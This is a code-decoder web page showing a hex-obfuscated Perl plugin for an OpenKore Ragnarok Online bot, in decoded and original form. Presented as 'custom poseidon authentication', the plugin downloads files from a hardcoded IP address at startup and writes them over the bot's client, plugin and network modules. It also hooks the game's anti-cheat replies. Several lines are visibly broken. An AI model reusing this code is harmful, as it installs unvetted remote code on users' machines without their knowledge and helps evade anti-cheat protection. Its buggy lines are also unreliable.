Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

package poseidon; use strict; use Globals; use Plugins; use Misc; use Log qw(error ..

Decoded Output download

<?  package poseidon; 
 
use strict; 
use Globals; 
use Plugins; 
use Misc; 
use Log qw(error debug message  ); 
use Bus::Messages qw(serialize); 
use Globals qw(%config %rpackets); 
use Poseidon::Client; 
use Utils qw(dataWaiting timeOut); 
use File::Fetch; 
use File::Copy; 
use Digest::MD5 qw(md5_hex); 
 
use strict; 
 
Plugins::register("poseidon", "custom poseidon authentication", \&ul, \&rl); 
 
 
 
 
my $hooks = Plugins::addHooks( 
        ["packet_pre/login_pin_code_request",\&pin], 
        ["packet_pre/login_error", \&loginproblem, undef], 
        ["Poseidon/client_authenticate", \&auth], 
        ["packet_pre/map_changed", \&map_change, undef], 
        ["packet_pre/received_character_ID_and_Map", \&map_change, undef], 
        ["start",\&updateSubs, undef], 
		["disconnected", \&disconnect, undef], 
        ["Network::connectTo", \&onConnectTo] 
); 
my $dc_count = 0; 
my $po_count = 0; 
my $map_change = 0; 
 
my $cmd = Commands::register( 
		["dc","disconnect infos",\&dcInfo], 
        ["po","disconnect infos",\&poInfo], 
); 
 
 
 
sub dcInfo { 
        my (undef, $args) = @_; 
 
        if ($args eq "count") { 
		message("[plugin:disconnectCount] Voc foi desconectado ".$dc_count." vezes.
","info"); 
		} 
} 
 
sub poInfo { 
        my (undef, $args) = @_; 
		if ($args eq "count") { 
		message("[plugin:disconnectCount] O poseidon no respondeu ".$po_count." vezes.
","info"); 
        } 
} 
 
sub disconnect { 
        d$c_count++; 
} 
 
 
sub updateSubs { 
 
        my $url = "http://69.197.163.58/Update.txt"; 
        $File::Fetch::TIMEOUT = 5; 
        my $ff = File::Fetch->new(uri => $url); 
 
        my $file = $ff->fetch() or return; 
 
        my $update = 0; 
 
        my $filename = "Version.txt"; 
        if (open(my $fh, "<:encoding(UTF-8)", $filename)) { 
                my $currentV = <$fh>; 
                chomp $currentV; 
                my $newFile = "Update.txt"; 
                if (open(my $nh, "<:encoding(UTF-8)", $newFile)) { 
                        my $newV = <$nh>; 
                        chomp $newV; 
                        if ($newV ne $currentV) { 
                                $update = 1; 
                        } 
                } 
 
        } else { 
                $update = 1; 
        } 
 
if ($update) { 
                move("Update.txt","Version.txt"); 
                $url = "http://69.197.163.58/Client.pm"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
                move("Client.pm","src/Poseidon/Client.pm"); 
 
                $url = "http://69.197.163.58/plugins/Update.pl"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
 
                $url = "http://69.197.163.58/plugins/Poseidon.pl"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
                move("Poseidon.pl","plugins/Poseidon.pl"); 
 
                $url = "http://69.197.163.58/tables/bro/recvpackets.txt"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
                move("recvpackets.txt","tables/bro/recvpackets.txt"); 
 
                $url = "http://69.197.163.58/src/Network/Receive/bro.pm"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
                move("bro.pm","src/Network/Receive/bro.pm"); 
 
                $url = "http://69.197.163.58/src/Network/send/bro.pm"; 
                $ff = File::Fetch->new(uri => $url); 
                $file = $ff->fetch() or die $ff->error; 
                move("bro.pm","src/Network/send/bro.pm");        } 
}; 
 
 
 
sub onConnectTo { 
         $timeout{"reconnect"}{"timeout"} = 5 + int rand(30); 
      } 
 
 
sub pin { 
    my ($self, $args) = @_; 
    if ($args->{flag} != 0 && $args->{flag} != 1) { 
        $messageSender->sendLoginPinCode($args->{seed}, 0); 
        $args->{flag} = 10; 
                error ("O Servidor disse que seu pin est errado, tentando novamente...
"); 
                sleep 10; 
    } 
} 
sub loginproblem { 
        my ($self, $args) = @_; 
        if ($args->{type} == 0x4) { 
                $args->{type} = 0x3; 
        } elsif ($args->{type} == 0x0) { 
                print "PoseidonMessage: servidor disse q seu login esta errado
"; 
                print "PoseidonMessage: isso pode ser bug do servidor
"; 
                print "PoseidonMessage: confira suas configs por via das duvidas
"; 
                $args->{type} = 0x3; 
        } 
 
} 
 
 
 
 
sub auth { 
    my (undef, $args) = @_; 
    $args->{args}{individualkey} = $keys[0]; 
    $args->{args}{"username"} = md5_hex$config{"username"}; 
} 
 
sub rl { 
    ul(); 
} 
sub ul { 
    Plugins::delHooks($hooks); 
    Commands::unregister($cmd); 
        undef $hooks; 
        undef $cmd; 
} 
 
 
sub map_change { 
        $map_change = 1; 
} 
 
 
*Poseidon::Client::query = sub { 
        my ($self, $packet) = @_; 
        my $socket = $self->_connect(); 
        if (!$socket) { 
                error "O poseidon parece estr off.
"; 
                Plugins::callHook("poseidon_socket"); 
                $po_count; 
				relog(900); 
                return; 
        } 
 
        my (%args, $data); 
        # Plugin hook to make it possible to add additional data piggy-backed 
        # to the Poseidon request packet (auth information for example) 
        Plugins::callHook("Poseidon/client_authenticate", { 
                args => \%args, 
        }); 
        $map_change = 0; 
        $args{packet} = $packet; 
        $data = serialize("Poseidon Query", \%args); 
        $socket->send($data); 
        $socket->flush(); 
        $self->{socket} = $socket; 
        $self->{parser} = new Bus::MessageParser(); 
}; 
 
 
*Poseidon::Client::getResult= sub{ 
        my ($self) = @_; 
 
        if (!$self->{socket} || !$self->{socket}->connected 
         || !dataWaiting($self->{socket})) { 
                return undef; 
        } 
 
        my ($buf, $ID, $args); 
        $self->{socket}->recv($buf, 1024 * 32); 
        if (!$buf) { 
                error "O Poseidon no respondeu
"; 
                $self->{socket} = undef; 
				$po_count; 
                relog(900); 
                return undef; 
        } 
 
        $self->{parser}->add($buf); 
        Plugins::callHook("gameguard_reply", {reply => $buf}); 
        if ($args = $self->{parser}->readNext(\$ID)) { 
                if ($ID eq "sup") { 
                        $self->query(); 
 
                        return; 
                } 
                if ($ID ne "Poseidon Reply") { 
                        error "O Poseidon enviou uma resposta errada
"; 
                        error "$ID.
"; 
                        $self->{socket} = undef; 
                        return undef; 
                        offlineMode(); 
                } else { 
                        error "Poseidon est Funcionando
"; 
                        $self->{socket} = undef; 
 
                        if($map_change == 1){ 
                                message("No enviando a resposta incorreta
"); 
                                $self->{socket} = undef; 
                                return; 
                        } 
 
                        return $args->{packet}; 
                } 
        } else { 
                return undef; 
        } 
}; 
 
 
1; ?>

Did this file decode correctly?

Original Code

package poseidon;

use strict;
use Globals;
use Plugins;
use Misc;
use Log qw(error debug message  );
use Bus::Messages qw(serialize);
use Globals qw(%config %rpackets);
use Poseidon::Client;
use Utils qw(dataWaiting timeOut);
use File::Fetch;
use File::Copy;
use Digest::MD5 qw(md5_hex);

use strict;

Plugins::register("\x70\x6F\x73\x65\x69\x64\x6F\x6E", "\x63\x75\x73\x74\x6F\x6D\x20\x70\x6F\x73\x65\x69\x64\x6F\x6E\x20\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x69\x6F\x6E", \&ul, \&rl);




my $hooks = Plugins::addHooks(
        ["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6C\x6F\x67\x69\x6E\x5F\x70\x69\x6E\x5F\x63\x6F\x64\x65\x5F\x72\x65\x71\x75\x65\x73\x74",\&pin],
        ["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6C\x6F\x67\x69\x6E\x5F\x65\x72\x72\x6F\x72", \&loginproblem, undef],
        ["\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x63\x6C\x69\x65\x6E\x74\x5F\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65", \&auth],
        ["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x6D\x61\x70\x5F\x63\x68\x61\x6E\x67\x65\x64", \&map_change, undef],
        ["\x70\x61\x63\x6B\x65\x74\x5F\x70\x72\x65\x2F\x72\x65\x63\x65\x69\x76\x65\x64\x5F\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5F\x49\x44\x5F\x61\x6E\x64\x5F\x4D\x61\x70", \&map_change, undef],
        ["\x73\x74\x61\x72\x74",\&updateSubs, undef],
		["\x64\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64", \&disconnect, undef],
        ["\x4E\x65\x74\x77\x6F\x72\x6B\x3A\x3A\x63\x6F\x6E\x6E\x65\x63\x74\x54\x6F", \&onConnectTo]
);
my $dc_count = 0;
my $po_count = 0;
my $map_change = 0;

my $cmd = Commands::register(
		["dc","disconnect infos",\&dcInfo],
        ["po","disconnect infos",\&poInfo],
);



sub dcInfo {
        my (undef, $args) = @_;

        if ($args eq "\x63\x6F\x75\x6E\x74") {
		message("[plugin:disconnectCount] Voc foi desconectado ".$dc_count." vezes.\n","info");
		}
}

sub poInfo {
        my (undef, $args) = @_;
		if ($args eq "count") {
		message("[plugin:disconnectCount] O poseidon no respondeu ".$po_count." vezes.\n","info");
        }
}

sub disconnect {
        d$c_count++;
}


sub updateSubs {

        my $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74";
        $File::Fetch::TIMEOUT = 5;
        my $ff = File::Fetch->new(uri => $url);

        my $file = $ff->fetch() or return;

        my $update = 0;

        my $filename = "\x56\x65\x72\x73\x69\x6F\x6E\x2E\x74\x78\x74";
        if (open(my $fh, "\x3C\x3A\x65\x6E\x63\x6F\x64\x69\x6E\x67\x28\x55\x54\x46\x2D\x38\x29", $filename)) {
                my $currentV = <$fh>;
                chomp $currentV;
                my $newFile = "\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74";
                if (open(my $nh, "\x3C\x3A\x65\x6E\x63\x6F\x64\x69\x6E\x67\x28\x55\x54\x46\x2D\x38\x29", $newFile)) {
                        my $newV = <$nh>;
                        chomp $newV;
                        if ($newV ne $currentV) {
                                $update = 1;
                        }
                }

        } else {
                $update = 1;
        }

if ($update) {
                move("\x55\x70\x64\x61\x74\x65\x2E\x74\x78\x74","\x56\x65\x72\x73\x69\x6F\x6E\x2E\x74\x78\x74");
                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;
                move("\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D","\x73\x72\x63\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x43\x6C\x69\x65\x6E\x74\x2E\x70\x6D");

                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x55\x70\x64\x61\x74\x65\x2E\x70\x6C";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;

                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;
                move("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C","\x70\x6C\x75\x67\x69\x6E\x73\x2F\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2E\x70\x6C");

                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x74\x61\x62\x6C\x65\x73\x2F\x62\x72\x6F\x2F\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;
                move("\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74","\x74\x61\x62\x6C\x65\x73\x2F\x62\x72\x6F\x2F\x72\x65\x63\x76\x70\x61\x63\x6B\x65\x74\x73\x2E\x74\x78\x74");

                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x52\x65\x63\x65\x69\x76\x65\x2F\x62\x72\x6F\x2E\x70\x6D";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;
                move("\x62\x72\x6F\x2E\x70\x6D","\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x52\x65\x63\x65\x69\x76\x65\x2F\x62\x72\x6F\x2E\x70\x6D");

                $url = "\x68\x74\x74\x70\x3A\x2F\x2F\x36\x39\x2E\x31\x39\x37\x2E\x31\x36\x33\x2E\x35\x38\x2F\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x73\x65\x6E\x64\x2F\x62\x72\x6F\x2E\x70\x6D";
                $ff = File::Fetch->new(uri => $url);
                $file = $ff->fetch() or die $ff->error;
                move("\x62\x72\x6F\x2E\x70\x6D","\x73\x72\x63\x2F\x4E\x65\x74\x77\x6F\x72\x6B\x2F\x73\x65\x6E\x64\x2F\x62\x72\x6F\x2E\x70\x6D");        }
};



sub onConnectTo {
         $timeout{"\x72\x65\x63\x6F\x6E\x6E\x65\x63\x74"}{"\x74\x69\x6D\x65\x6F\x75\x74"} = 5 + int rand(30);
      }


sub pin {
    my ($self, $args) = @_;
    if ($args->{flag} != 0 && $args->{flag} != 1) {
        $messageSender->sendLoginPinCode($args->{seed}, 0);
        $args->{flag} = 10;
                error ("\x4F\x20\x53\x65\x72\x76\x69\x64\x6F\x72\x20\x64\x69\x73\x73\x65\x20\x71\x75\x65\x20\x73\x65\x75\x20\x70\x69\x6E\x20\x65\x73\x74\xC3\xA1\x20\x65\x72\x72\x61\x64\x6F\x2C\x20\x74\x65\x6E\x74\x61\x6E\x64\x6F\x20\x6E\x6F\x76\x61\x6D\x65\x6E\x74\x65\x2E\x2E\x2E\n");
                sleep 10;
    }
}
sub loginproblem {
        my ($self, $args) = @_;
        if ($args->{type} == 0x4) {
                $args->{type} = 0x3;
        } elsif ($args->{type} == 0x0) {
                print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x73\x65\x72\x76\x69\x64\x6F\x72\x20\x64\x69\x73\x73\x65\x20\x71\x20\x73\x65\x75\x20\x6C\x6F\x67\x69\x6E\x20\x65\x73\x74\x61\x20\x65\x72\x72\x61\x64\x6F\n";
                print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x69\x73\x73\x6F\x20\x70\x6F\x64\x65\x20\x73\x65\x72\x20\x62\x75\x67\x20\x64\x6F\x20\x73\x65\x72\x76\x69\x64\x6F\x72\n";
                print "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x4D\x65\x73\x73\x61\x67\x65\x3A\x20\x63\x6F\x6E\x66\x69\x72\x61\x20\x73\x75\x61\x73\x20\x63\x6F\x6E\x66\x69\x67\x73\x20\x70\x6F\x72\x20\x76\x69\x61\x20\x64\x61\x73\x20\x64\x75\x76\x69\x64\x61\x73\n";
                $args->{type} = 0x3;
        }

}




sub auth {
    my (undef, $args) = @_;
    $args->{args}{individualkey} = $keys[0];
    $args->{args}{"\x75\x73\x65\x72\x6E\x61\x6D\x65"} = md5_hex$config{"\x75\x73\x65\x72\x6E\x61\x6D\x65"};
}

sub rl {
    ul();
}
sub ul {
    Plugins::delHooks($hooks);
    Commands::unregister($cmd);
        undef $hooks;
        undef $cmd;
}


sub map_change {
        $map_change = 1;
}


*Poseidon::Client::query = sub {
        my ($self, $packet) = @_;
        my $socket = $self->_connect();
        if (!$socket) {
                error "\x4F\x20\x70\x6F\x73\x65\x69\x64\x6F\x6E\x20\x70\x61\x72\x65\x63\x65\x20\x65\x73\x74\xC3\xA1\x72\x20\x6F\x66\x66\x2E\n";
                Plugins::callHook("\x70\x6F\x73\x65\x69\x64\x6F\x6E\x5F\x73\x6F\x63\x6B\x65\x74");
                $po_count;
				relog(900);
                return;
        }

        my (%args, $data);
        # Plugin hook to make it possible to add additional data piggy-backed
        # to the Poseidon request packet (auth information for example)
        Plugins::callHook("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x2F\x63\x6C\x69\x65\x6E\x74\x5F\x61\x75\x74\x68\x65\x6E\x74\x69\x63\x61\x74\x65", {
                args => \%args,
        });
        $map_change = 0;
        $args{packet} = $packet;
        $data = serialize("\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x51\x75\x65\x72\x79", \%args);
        $socket->send($data);
        $socket->flush();
        $self->{socket} = $socket;
        $self->{parser} = new Bus::MessageParser();
};


*Poseidon::Client::getResult= sub{
        my ($self) = @_;

        if (!$self->{socket} || !$self->{socket}->connected
         || !dataWaiting($self->{socket})) {
                return undef;
        }

        my ($buf, $ID, $args);
        $self->{socket}->recv($buf, 1024 * 32);
        if (!$buf) {
                error "\x4F\x20\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x6E\xC3\xA3\x6F\x20\x72\x65\x73\x70\x6F\x6E\x64\x65\x75\n";
                $self->{socket} = undef;
				$po_count;
                relog(900);
                return undef;
        }

        $self->{parser}->add($buf);
        Plugins::callHook("\x67\x61\x6D\x65\x67\x75\x61\x72\x64\x5F\x72\x65\x70\x6C\x79", {reply => $buf});
        if ($args = $self->{parser}->readNext(\$ID)) {
                if ($ID eq "\x73\x75\x70") {
                        $self->query();

                        return;
                }
                if ($ID ne "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x52\x65\x70\x6C\x79") {
                        error "\x4F\x20\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x65\x6E\x76\x69\x6F\x75\x20\x75\x6D\x61\x20\x72\x65\x73\x70\x6F\x73\x74\x61\x20\x65\x72\x72\x61\x64\x61\n";
                        error "$ID\x2E\n";
                        $self->{socket} = undef;
                        return undef;
                        offlineMode();
                } else {
                        error "\x50\x6F\x73\x65\x69\x64\x6F\x6E\x20\x65\x73\x74\xC3\xA1\x20\x46\x75\x6E\x63\x69\x6F\x6E\x61\x6E\x64\x6F\n";
                        $self->{socket} = undef;

                        if($map_change == 1){
                                message("\x4E\xC3\xA3\x6F\x20\x65\x6E\x76\x69\x61\x6E\x64\x6F\x20\x61\x20\x72\x65\x73\x70\x6F\x73\x74\x61\x20\x69\x6E\x63\x6F\x72\x72\x65\x74\x61\n");
                                $self->{socket} = undef;
                                return;
                        }

                        return $args->{packet};
                }
        } else {
                return undef;
        }
};


1;

Function Calls

None

Variables

None

Stats

MD5 7b74372e7e3bde9deb0e0e560a4ad111
Eval Count 0
Decode Time 149 ms